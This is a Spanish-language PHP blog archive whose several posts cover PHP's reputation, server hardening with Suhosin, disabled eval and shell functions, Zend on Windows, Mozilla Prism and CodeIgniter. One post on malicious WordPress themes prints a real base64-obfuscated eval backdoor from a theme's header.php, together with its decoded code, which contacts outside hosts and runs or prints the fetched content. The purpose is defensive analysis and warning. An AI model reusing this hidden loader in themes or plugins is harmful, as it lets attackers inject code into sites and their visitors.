Aproximadamente el 60% de todos los websites en Internet usan PHP como el lenguaje usado para proveer interactividad a las páginas. Populares websites como Facebook, Yahoo, Wikipedia o Digg usan a PHP como su principal herramienta de programación, sin embargo PHP ha recibido muchas críticas y Google lo ha ignorado cuando lanzó su servicio de hosting de aplicaciones web App Engine.

Por eso me preguntaba si PHP es un buen lenguaje de programación. Es más en muchas universidades es ignorado y se prefieren para la curricula lenguajes como Java, Python, Ruby o C++. Yo uso PHP y me parece un buen lenguaje de programación, pero he visto que muchos lo critican por ser un lenguaje que no tiene una unidad, otros alegan que es muy difícil de aprender, y hay hasta quienes dicen que el código hecho con PHP es extremadamente difícil de mantener.

Si todas las criticas anteriores son ciertas porque la mayor cantidad de aplicaciones web que son Open Source estan basadas en PHP. Acaso Drupal, Mambo, Joomla, WordPress, SugarCRM o MedikiaWiki han sido abandonados porque no se les puede dar mantenimiento, o porque no se les puede escalar. ¿Hasta que punto PHP es considerado menos con la comunidad académica sólo por ser muy popular?.

He encontrado una página web en donde se discuten las fortalezas y debilidades de PHP, se llama On PHP y alli se puede encontrar comentarios tanto a favor como en contra de PHP, uno de los que más me llamo la atención se titula "Un martillo puede ser usado para hacer una bella escultura, o una horrible casa de pajaros", y básicamente esboza la perspectiva de que no es la herramienta la que hace la aplicación útil o no; sino el programador. Un mal programador no hara una buen aplicación así él use el lenguaje de programación perfecto y un buen programador escribirá una buen aplicación así use el peor lenguaje que exista.

Ciertamente PHP es muy fácil de usar y aprender, en contra de lo que opinen los "expertos", la base de usuarios de PHP excede en al menos un orden de magnitud a su más cercano perseguidor, el problema es que con tanto programador amateur la calidad del código producido dejará mucho que desear, aunque como todo en el mundo Open Source mejorará con el tiempo.

En el actual entorno LAMP/WAMP, ciertamente PHP es un leguaje que se debe conocer para poder competir en el actual entorno server-centrico de Internet, sin embargo debido a que Internet no es un medio estático, ésto puede cambiar debido a las tecnologías que dan soporte al web, conforme la web migre de un entorno basado en servidores (server-centrico) a un entorno basado en cloud computing, los lenguajes de programación usados para desarrollar aplicaciones web, ciertamente cambiaran y dado al decidido apoyo de Google hacia Python, ciertamente este es el siguiente lenguaje que se debe aprender. Aunque como el futuro es impredescible, quien sabe a lo mejor Amazon, o cualquier otro gran actor (IBM, Sun, etc) de las TIC ofrece una arquitectura de nube que usa PHP como lenguaje y extiende el dominio de éste lenguaje una década más. El futuro es impredescible y para estar preparados para él es mejor apostarle a todos los caballos.

Debido a la naturaleza colaborativa del desarrollo de PHP (hay decenas de programadores involucrados de distintas regiones del planeta), es muy difícil que errores en la programación de PHP en sí mismo sean detectables, incluso para los programadores del PHP Core, y por ello se introduce algunas veces errores en funciones de PHP que pueden permitir a un atacante remoto escalar privilegios en el server, o instalar troyanos aprovechando un buffer overflow en alguna función de PHP. Para tratar de contener éste tipo de fallas es que existe un proyecto llamado Suhosin, que se encarga de proteger a los usuarios de PHP de vulnerabilidades conocidas o desconocidas que forman parte del código PHP en sí mismo. Para lograr tal fin Suhosin viene en dos partes que pueden utilizarce en forma separada o conjunta. La primera parte es un pequeño parche al PHP Core (el núcleo del lenguaje), que implementa unas cuantas medidas de protección básica de bajo nivel contra vulnerabilidades debidas a buffer overflow o problemas con el formato de los string (cadenas de texto). La segunda parte de Suhosin es una poderosa extensión que implementa medidas de protección adicionales como puede ser bloquear o desactivar funciones de PHP en caso de necesidad.

Si se usa un hosting compartido, es una muy buena idea instalar Suhosin, porque jamas uno puede estar seguro del código de un cliente que paga por hosting casi nada, y que le resulta extremadamente fácil saltar de un hosting a otro debido a la tremenda oferta existente. Debido a ello no le presta mucha atención a la seguridad de su código.

Adicionalmente a instalar Suhosin, una muy buena medida complementaria es deshabilitar la función eval() de PHP que abre las puertas a que cualquiera que consiga inyectar código en un script PHP puede ejecutar código PHP arbitrário sobre el server. Muchas veces themes o plugins de Joomla, Mambo o WordPress, traen troyanos ocultos por una función base64_decode(), que es luego ejecutada por eval(), hable sobre ello en diciembre del año pasado en un post de éste blog llamado "Troyanos en themes de WordPress", pero parece que la técnica se ha vuelto tan popular para ocultar troyanos que es aplicada en todo script que pretende infectar un webserver.

Entonces para evitar problemas debemos instalar Suhosin y deshabilitar eval(), de esa forma si alguien tiene un site infectado nos llamara para reportar que "el server tiene un error", porque su página no se ve bien. Para conseguir el objetivo anterior debemos de hacer éstos simple pasos en nuestro Debian (en Ubuntu sólo añadir sudo delante de cada comando):

# apt-get install php5-suhosin
# echo "suhosin.executor.disable_eval=On" >> /etc/php5/apache2/php.ini
# /etc/init.d/apache2 force-reload

Y listo, ya tenemos a nuestro servidor un poquito más protegido que antes, ahora al menos los troyanos no se ejecutaran tan fácilmente, los forzamos a ser más visibles. Complementariamente siempre es buena idea deshabilitar las fuciones que permiten ejecutar comandos del sistema con los privilegios del usuario del webserver (en Debian www-data), para ello edite el archivo /etc/php5/apache2/php.ini busque la línea que diga "disable_functions" y agregue la lista de funciones shell que desea deshabilitar separadas por comas, una buena idea es poner éstos valores:

disable_functions = exec, system, escapeshellcmd

No hay que olvidar reiniciar el apache, para que los cambios en el php.ini tengan efecto. Espero que toda esta información les haya sido de utilidad y los ayude a proteger sus servidores web.

¿Desea realizar una galería de fotos Coppermine en un equipo con Windows Server 2008? En el pasado, ésto significaba que la popular aplicación PHP para galerías de fotos tendría más perfomance en un servidor Linux o Unix, para el cuál el PHP ha sido optimizado.

En el portal de noticias de tecnologías de la información de Australia ITNews, informa sobre el esfuerzo que esta haciendo la comunidad de PHP para optimizarlo para la futura versión de Windows Server 2008.

Los especialistas en lenguaje PHP de Zend Technologies, estan trabajando intensamente para que PHP pueda trabajar en Windows tan bien cómo en Linux/Unix. El Zend Core que apoya comercialmente a PHP ha sido certificado por Microsoft para correr "con el rendimiento y la estabilidad" en Windows Server 2008, dijo Andi Gutmans, co-fundador y CTO de Zend. Esto significa que ha pasado más de 100 pruebas de compatibilidad, además de colaborar estrechamente en ciertas tecnologías de Microsoft.

Por ejemplo, el componente Zend FastCGI trabajo bien con el servidor web de Microsoft IIS (Internet Information Server), para hacer que FastCGI cree y gestione de manera eficiente las aplicaciones PHP. El servidor web IIS está ahora integrado en Windows 2008, y la implementación del PHP a través del FastCGI ha trabajado sin problemas, dijo Gutmans, en una entrevista.

El acelerador Zend para PHP es ahora compatible con CardSpace, el sistema de gestión de la identidad de Microsoft, por lo que las apliaciones PHP de los usuarios pueden obtener servicios en línea después de ser autenticado y acreditado con el adecuado nivel de privilegio. La certificación para Windows 2008, significa que los servidores tanto Linux como Windows podrían correr apliaciones de manejo de contenido cómo Joomla, Mambo o WordPress, sin ninguna pérdida de perfomance.

Cómo tener una aplicación web en el escritorio?, la respuesta es Prism. Prism es un proyecto parte de Mozilla que permite crear íconos en el escritorio y en el menu de incio en los principales OS de hoy: Windows, Mac OS X y Linux. De esa forma un usuario puede pensar que se trata de una aplicación local.

Aunque aún esta en versión beta, es completamente funcional y puede ser una alternativa para aquellos que quieren hacer pasar sus aplicaciones web, como una aplicación local en la PC.

Cuando se ejecuta Prism, se obtiene una ventana en donde debemos asignarle un nombre a nuestra apliación, indicar el URL desde donde debe de invocarse e indicar si deseamos crear íconos para la misma en el escritorio, y en la versión Windows en el menu de Inicio tambien. Aquí un snapshot de qué se obtiene al ejecutar Prism:

Prism

Yo lo he usado para crear shortcuts a AdSense y Gmail y funciona perfecto, espero que tambien les sirva a Uds., especialmente si tienen pensado vender algun producto en la modalidad SAAS (Software As A Service), este utilitario es genial para ocultar el browser al cliente.

Se ha reportado en varios websites relacionados a seguridad, que han aparecido themes de WordPress con código malicioso en ellos, por lo general estos themes se distribuyen de forma gratuita en websites que ofrecen servicios de descargas de themes. Uno de estos lugares es wpsphere.com, que distribuye themes de terceros, alguno de los cuales contienen código malicioso que permiten a un atacante externo inyectar código javascript en los blogs que usen esos themes.

El primero en dar la voz de alarma fue Paul Carroll en su blog. El encontro el siguiente código malicioso dentro del archivo header.php  un theme de wpsphere.com:

@eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD
kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R
kZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0M
DYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid
3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9I
EBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFM
kZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFM
ywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiO
yBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyI
jsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpO
yBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0K
CdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFN
jA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgP
SAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvb
S93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVyb
GVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZ
W5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFN
kM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M
0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDN
zM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEO
UU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExN
SA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY
29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gd
XJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1c
mxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxN
EIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1R
kU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));


Éste código no es más que un script que inyecta código javascript en la cabecera de la página web, desde los websites www.wpssr.com y www.wpsnc.com, cómo se puede determinar eso, pues simplemente haciendo la decodificación MIME del código anterior, con lo que obtenemos éste código:

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com"
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2,
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";
}
elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com"
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2,
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc";
}
else {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2";
}
@eval($R14AF1BE9EE26A90921E64A82E7836797 = 1);
if($R14AF1BE9EE26A90921E64A82E7836797 AND
ini_get('allow_url_fopen')) {
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "1");
$R6E4F14B335243BE656C65E3ED9E1B115 =
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=".
urlencode($_SERVER['REQUEST_URI']) ."&". "host=".
urlencode($_SERVER['HTTP_HOST']);
$R3E33E017CD76B9B7E6C7364FB91E2E90 =
@file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);
}
else
{
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "0");
$R6E4F14B335243BE656C65E3ED9E1B115 =
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=".
urlencode($_SERVER['REQUEST_URI']) ."&".
"host=". urlencode($_SERVER['HTTP_HOST']);
readfile($R6E4F14B335243BE656C65E3ED9E1B115);
}
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);


El truco usado es usar la función "eval" de PHP para ejecutar código PHP dentro de un array, y un array codificado en MIME para ocultar el código maligno.

Es por ello que se recomienda, no bajar desde sitios web de terceros themes o plugins, sino usar el website del autor directamente, o en su defecto auditar el código antes de usarlo en nuestro blog o CMS, ya que incluso esta forma de ataque es reproducible en CMS cómo Joomla, Mambo o Drupal. Finalmente, mejor que descargar un theme de otro es hacerlo uno mismo, de esta forma se tiene total control del código.

Existe un sin fin de PHP frameworks, todos en su mayoría inspirados bajo el modelo MVC (Model-View-Controler), que tan exitosamente ha sabido popularizar Ruby On Rails (http://www.rubyonrails.org/), y que ha catapultado a este lenguaje japones a lo más cool del desarrollo web.

Sin embargo hay miles, sino millones de desarrolladores web o system administrator, que ya sabiendo PHP, no tienen tiempo, les parece un riesgo innecesario cambiar de lenguaje de programación, o sencillamente no quieren aprender nada nuevo. Lo cierto es que PHP se penso como un lenguaje estructurado, este enfoque fue tremendamente exitoso en sus primeros años pero mostro sus flaquezas cuando los proyectos a emprender comenzaron a crecer y requerir el trabajo en equipo de varios programadores y diseñadores web. Bajo ese nuevo enfoque las características de orientación a objetos comenzaron ha aparecer en PHP 4 y se profundizaron en PHP 5. Desde ese punto de vista PHP nunca podra superar a Ruby, que fue diseñado desde el principio para ser orientado a objetos. Pero no se alarme, no todo esta perdido; al igual que otros lenguajes estructurados que han sido parchados para trabajar con objetos cómo Perl por ejemplo, PHP ofrece actualmente lo mínimo necesario para implementar sobre él, el esquema MVC.

Muchos de los frameworks de PHP ofrecen MVC, pero ninguno es tan ligero y flexible como CodeIgniter (http://codeigniter.com/). Lo mejor de todo es que CodeIgniter puede ser tan sólo VC (View-Controler) , es decir no fuerza al usuario a utilizar una DB para un desarrollo. Además su separación de código PHP y código HTML no esta basada en un template en particular, puedes usarlo incluso sin un template.

Adicionalmente a lo anterior la documentación es excelente (lastimosamente sólo en inglés por ahora), pero el manual y los tutoriales (en video), son sencillamente un ejemplo de cómo se debe documentar y enseñar un framework. Cabe resaltar que su soporte de Ajax aunque mínimo es lo suficiente para desarrollar aplicaciones vistosas y ágiles. Los tutoriales en video pueden ser vistos desde aquí: http://codeigniter.com/tutorials/

A diferencia de otros frameworks que incluyen un sistema de validación de usuarios por defecto, CodeIgniter no lo tiene. Lo cuál puede verse como una ventaja o desventaja segun la naturaleza del proyecto. Pero para aquellos que lo requieran una implementación mínima de un sistema de validación de usuario y control de sesiones almacenado en una DB MySQL, llamado FreakAuth puede ser descargado desde aquí: http://www.4webby.com/freakauth/

Para aquellos que necesiten que su aplicación suba archivos al servidor web (me sorprendió saber cuanta gente necesita esta característica cuando me di una vuelta por los foros), si bien es cierto CodeIgniter ofrece para ello. Este es limitado y no hay posibilidad de saber que porcentaje del archivo ha sido enviado al server, lo cuál puede ser frustrante si la conexión es lenta, además de que la clase ofrecida en CodeIgniter ofrece soporte de sólo un archivo a la vez. Para ello se puede hechar mano a Postlet (http://www.postlet.com/), que es una Java Applet open source que permite hacer este trabajo de subir archivos al server usando el protocolo HTTP, y es fácilmente integrable a CodeIgniter.

Para aquellos que les gustan los efectos visuales, esta Scriptaculous (http://script.aculo.us/), el cuál requiere de Prototype (http://www.prototypejs.org/), ambos soluciones Ajax open source, fáciles y livianas (para los anchos de banda de ahora).

Para un ejemplo de que se puede hacer con CodeIgniter, pueden hecharle un vistazo al blog de Derek Allard (http://www.derekallard.com/index.php/), su blog esta desarrollado sobre CodeIgniter y hace uso intenso de Ajax para conseguir una alta interactividad con el usuario.

Yo he usado CodeIgniter tambien para desarrollar una pequeña aplicación ASP (Application Service Provider), que en un principio se estimo un tiempo de desarrollo de 1 mes, finalmente, la aplicación estuvo lista en tan sólo 1 semana. Y eso que no soy un desarrollador de tiempo completo, pues mi actividad principal es System Administrator.

No puedo más que recomendar este framework para aquel que desee desarrollar una aplicación web rápidamente, y que que necesite un framework liviano y rápido (el rederizado de las páginas es impresionantemente rápido), además de que CodeIgniter ofrece el cache en el propio server de las páginas generadas, para aumentar aún más la perfomance. Tiene sus limitaciones como todo framework, pero de lejos es el más sencillo, mejor documento y altamente flexible. Espero que disfruten usarlo tanto como yo.

Posted in PHP.